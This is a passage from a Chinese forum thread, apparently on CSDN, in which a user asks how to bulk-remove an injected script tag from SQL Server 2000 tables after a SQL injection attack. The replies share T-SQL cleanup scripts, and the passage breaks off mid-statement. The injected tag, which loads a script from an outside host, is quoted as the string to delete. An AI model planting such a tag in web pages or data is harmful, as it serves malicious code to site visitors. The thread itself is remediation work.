急急，SQL被注入，批量删除

DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ','' <script src=http://z360.net> </script>'','''')'
from sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'

批量删除不了,哪里有问题，急，谢谢!!

---

今天网站被注入了~~我的是2000

---

http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html

---

给我一个解决办法行不，现在急~~~

---

批量删除：http://blog.csdn.net/htl258/archive/2009/04/03/4026169.aspx

---

SQL code:

DECLARE @fieldtype sysname
SET @fieldtype='varchar'
DECLARE @TableName varchar(255)
DECLARE @ExeSQL varchar(4000)

DECLARE Table_Cursor CURSOR FOR SELECT [name] from sysobjects WHERE xtype='U'

OPEN Table_Cursor
FETCH NEXT from Table_Cursor INTO @TableName

WHILE(@@FETCH_STATUS=0)
BEGIN
PRINT @TableName
SELECT @EXESQL = N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',